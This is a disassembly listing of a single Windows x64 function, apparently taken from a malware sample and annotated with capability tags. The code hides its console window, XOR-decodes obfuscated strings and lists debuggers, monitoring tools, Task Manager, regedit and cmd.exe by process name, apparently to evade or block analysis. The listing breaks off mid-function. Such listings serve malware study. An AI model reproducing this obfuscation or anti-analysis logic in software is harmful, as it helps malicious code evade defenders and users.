Function at 0x140018d60
Capabilities:
Create directory
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x71d0]
mov eax, 0x72d0
call fcn.1401ec9e0
sub rsp, rax
movaps xmmword [rsp + 0x72c0], xmm6
movaps xmmword [rsp + 0x72b0], xmm7
movaps xmmword [rsp + 0x72a0], xmm8
movaps xmmword [rsp + 0x7290], xmm9
movaps xmmword [rsp + 0x7280], xmm10
movaps xmmword [rsp + 0x7270], xmm11
movaps xmmword [rsp + 0x7260], xmm12
movaps xmmword [rsp + 0x7250], xmm13
movaps xmmword [rsp + 0x7240], xmm14
movaps xmmword [rsp + 0x7230], xmm15
mov rax, qword [0x1402dac00]
xor rax, rsp
mov qword [rbp + 0x7120], rax
xor esi, esi
mov dword [rbp + 0x38], esi
mov eax, esi
mov dword [rbp + 0x4c], eax
mov dword [rbp + 0x40], eax
mov dword [rbp + 0x48], eax
mov dword [rbp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.appdata
call fcn.14020482c
mov rdx, rax
lea rcx, [rbp + 0x6828]
call fcn.140033e80
nop
lea rcx, [rbp + 0xf58]
call fcn.14000c6c0
mov rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x13]
call fcn.14002e720
mov r10, rax
movdqa xmm9, xmmword [0x1402abb50]
movdqa xmm11, xmmword [0x1402abb00]
movdqa xmm12, xmmword [0x1402abaf0]
movdqa xmm7, xmmword [0x1402abae0]
movdqa xmm8, xmmword [str.7777]
movdqa xmm6, xmmword [0x1402abb70]
movdqa xmm10, xmmword [0x1402abba0]
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0xb], sil
je 0x140019012
mov r8d, esi
cmp r14d, 2
jl 0x140018fd1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rax + 8]
xorps xmm1, xmm0
movd dword [rax + 8], xmm1
jmp 0x140019012
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140018fe0
mov rdx, r10
lea rcx, [rbp + 0xf78]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6828]
lea rcx, [rbp + 0xf98]
call fcn.140037e00
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x6808]
call fcn.140037ee0
nop
lea rcx, [rbp + 0xf98]
call fcn.140033cd0
nop
lea rcx, [rbp + 0xf78]
call fcn.140033cd0
nop
lea rcx, [rbp + 0xf58]
call fcn.140033cd0
lea rcx, [rbp + 0x29]
call fcn.140031ea0
mov rdi, rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x6808]
call fcn.140033c00
mov rbx, qword [rax]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x6808]
call fcn.140033c20
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x67e8]
call fcn.14003a790
nop
lea rcx, [rbp + 0x67e8]
call fcn.1400338c0
mov qword [rbp + 0x40], rax
xor ecx, ecx
call fcn.1400021a0
mov rcx, rax
call fcn.1401fac10
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x2a]
call fcn.14002e740
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140019128
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor word [rax + 0x12], 0x3d
xor cx, 0x3e
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x6e00]
call fcn.140033a40
nop
lea rdx, str._pythonw.exe
lea rcx, [rbp + 0x6e20]
call fcn.140033a40
nop
lea rdx, str._python3.exe
lea rcx, [rbp + 0x6e40]
call fcn.140033a40
nop
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0x6e60]
call fcn.140033a40
nop
lea rdx, str.msconfig.exe
lea rcx, [rbp + 0x6e80]
call fcn.140033a40
nop
lea rdx, str.regedit.exe
lea rcx, [rbp + 0x6ea0]
call fcn.140033a40
nop
lea rdx, str.x64dbg.exe
lea rcx, [rbp + 0x6ec0]
call fcn.140033a40
nop
lea rdx, str.x32dbg.exe
lea rcx, [rbp + 0x6ee0]
call fcn.140033a40
nop
lea rdx, str.radare2.exe
lea rcx, [rbp + 0x6f00]
call fcn.140033a40
nop
lea rdx, str.r2.exe
lea rcx, [rbp + 0x6f20]
call fcn.140033a40
nop
lea rdx, str.ghidra.exe
lea rcx, [rbp + 0x6f40]
call fcn.140033a40
nop
lea rdx, str.immunitydebugger.exe
lea rcx, [rbp + 0x6f60]
call fcn.140033a40
nop
lea rdx, str.fiddler.exe
lea rcx, [rbp + 0x6f80]
call fcn.140033a40
nop
lea rdx, str.tcpview.exe
lea rcx, [rbp + 0x6fa0]
call fcn.140033a40
nop
lea rdx, str.sysmon.exe
lea rcx, [rbp + 0x6fc0]
call fcn.140033a40
nop
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0x6fe0]
call fcn.140033a40
nop
lea rdx, str.apatedns.exe
lea rcx, [rbp + 0x7000]
call fcn.140033a40
nop
lea rdx, str.cuckoo.exe
lea rcx, [rbp + 0x7020]
call fcn.140033a40
nop
lea rdx, str.cff_explorer.exe
lea rcx, [rbp + 0x7040]
call fcn.140033a40
nop
lea rdx, str.wireshark.exe
lea rcx, [rbp + 0x7060]
call fcn.140033a40
nop
lea rdx, str.regshot.exe
lea rcx, [rbp + 0x7080]
call fcn.140033a40
nop
lea rdx, str.procexp.exe
lea rcx, [rbp + 0x70a0]
call fcn.140033a40
nop
lea rdx, str.procexp64.exe
lea rcx, [rbp + 0x70c0]
call fcn.140033a40
nop
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0x70e0]
call fcn.140033a40
nop
lea rdx, str.cmd.exe
lea rcx, [rbp + 0x7100]
call fcn.140033a40
nop
lea rbx, [rbp + 0x6e00]
nop
mov edx, 1
mov rcx, rbx
call fcn.140016c60
add rbx, 0x20
lea rax, [rbp + 0x7120]
cmp rbx, rax
jne 0x140019320
lea rcx, [rbp + 0x67c8]
call fcn.14000b970
nop
lea rcx, [rbp + 0x67a8]
call fcn.14000b8e0
nop
lea rcx, [rbp + 0x6788]
call fcn.14000c330
nop
lea rcx, [rbp + 0x6768]
call fcn.140011f70
nop
lea rcx, [rbp + 0x6748]
call fcn.140033fe0
nop
lea rcx, [rbp + 0x6728]
call fcn.140033fe0
nop
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x2b]
call fcn.14002e770
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x1400193dd
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor word [rax + 0x12], 0x3d
xor cx, 0x3e
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x10b8]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x10b8]
call fcn.140007bc0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x2c]
call fcn.14002e7a0
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x14001944f
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor cx, 0x3c
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x10d8]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x10d8]
call fcn.140007bc0
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x2d]
call fcn.14002e7c0
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x1400194c6
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor cx, 0x3d
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x10f8]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x10f8]
call fcn.140007bc0
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x2e]
call fcn.14002e7e0
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x14001953d
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor cx, 0x3d
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x1118]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x1118]
call fcn.140007bc0
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x2f]
call fcn.14002e800
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x1400195af
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor cx, 0x3c
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x1138]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x1138]
call fcn.140007bc0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x30]
call fcn.14002e820
mov r10, rax
movdqa xmm15, xmmword [0x1402abb60]
cmp word [rax + 0x16], 0
je 0x140019776
mov r8d, esi
cmp r14d, 2
jl 0x140019734
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm15
movq xmm0, qword [rax]
xorps xmm2, xmm0
movq qword [rax], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm15
movq xmm0, qword [rax + 8]
xorps xmm2, xmm0
movq qword [rax + 8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm15
movq xmm0, qword [rax + 0x10]
xorps xmm2, xmm0
movq qword [rax + 0x10], xmm2
jmp 0x140019776
mov r9, r10
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140019740
mov rdx, r10
lea rcx, [rbp + 0x1158]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x1158]
call fcn.140007bc0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x31]
call fcn.14002e840
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x1400197ed
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor cx, 0x3d
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x1178]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x1178]
call fcn.140007bc0
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x32]
call fcn.14002e860
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140019869
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor word [rax + 0x12], 0x3d
xor cx, 0x3e
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x1198]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x1198]
call fcn.140007bc0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x50]
call fcn.14002e890
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x1400198e5
xor word [rax], 0x34
xor word [rax + 2], 0x35
xor word [rax + 4], 0x36
xor word [rax + 6], 0x37
xor word [rax + 8], 0x38
xor word [rax + 0xa], 0x39
xor word [rax + 0xc], 0x3a
xor word [rax + 0xe], 0x3b
xor word [rax + 0x10], 0x3c
xor word [rax + 0x12], 0x3d
xor cx, 0x3e
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x11b8]
call fcn.140033a40
nop
mov edx, 1
mov rcx, rax
call fcn.140016c60
nop
lea rcx, [rbp + 0x11b8]
call fcn.140007bc0
lea rcx, [rbp + 0x6708]
call fcn.14000cde0
nop
lea rcx, [rbp + 0x60c0]
call fcn.140031240
nop
lea r8, [rbp + 0x6708]
lea rdx, [rbp + 0x66e8]
mov rcx, rax
call fcn.1400311b0
nop
lea rcx, [rbp + 0x60c0]
call fcn.1400311e0
lea rcx, [rbp + 0x67e8]
call fcn.1400338c0
mov rcx, rax
call fcn.140011f10
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x66c8]
call fcn.140033ec0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x4f]
call fcn.14002e900
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140019b12
mov r8d, esi
cmp r14d, 2
jl 0x140019ad0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140019b12
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140019ae0
mov rdx, r10
lea rcx, [rbp + 0x1238]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x1258]
call fcn.140037e00
mov rbx, rax
lea rdx, [rbp + 0x5d00]
lea rcx, [rbp - 0x4e]
call fcn.14002e8c0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140019ca0
mov r8d, esi
cmp r14d, 2
jl 0x140019c6b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140019b80
cmp r8d, 0x33
jge 0x140019ca0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140019c71
mov rdx, r10
lea rcx, [rbp + 0x1278]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x1298]
call fcn.140037e00
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000ce80
nop
lea rcx, [rbp + 0x1298]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1278]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1258]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x1238]
call fcn.140033cd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x61c8]
call fcn.14000bde0
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x4d]
call fcn.14002e900
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140019eb2
mov r8d, esi
cmp r14d, 2
jl 0x140019e73
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140019eb2
mov r9, r10
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140019e80
mov rdx, r10
lea rcx, [rbp + 0x12b8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x12d8]
call fcn.140037e00
nop
mov rdx, rax
lea rcx, [rbp + 0x61c8]
call fcn.14000d0a0
nop
lea rcx, [rbp + 0x12d8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x12b8]
call fcn.140033cd0
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x4c]
call fcn.14002e900
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14001a093
mov r8d, esi
cmp r14d, 2
jl 0x14001a05e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14001a093
mov r9, r10
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14001a061
mov rdx, r10
lea rcx, [rbp + 0x12f8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66c8]
lea rcx, [rbp + 0x66a8]
call fcn.140037e00
nop
lea rcx, [rbp + 0x12f8]
call fcn.140033cd0
xor r8d, r8d
lea rdx, [rbp + 0x66a8]
lea rcx, [rbp + 0x1338]
call fcn.140039e30
nop
lea rcx, [rbp + 0x1338]
call fcn.14000a0a0
movzx ebx, al
lea rcx, [rbp + 0x1338]
call fcn.140007bc0
test bl, bl
jne 0x14001a2ae
lea rdx, [rbp + 0x5cc8]
lea rcx, [rbp - 0x4b]
call fcn.14002e920
mov r10, rax
cmp byte [rax + 0x33], bl
je 0x14001a260
mov r8d, esi
cmp r14d, 2
jl 0x14001a22b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
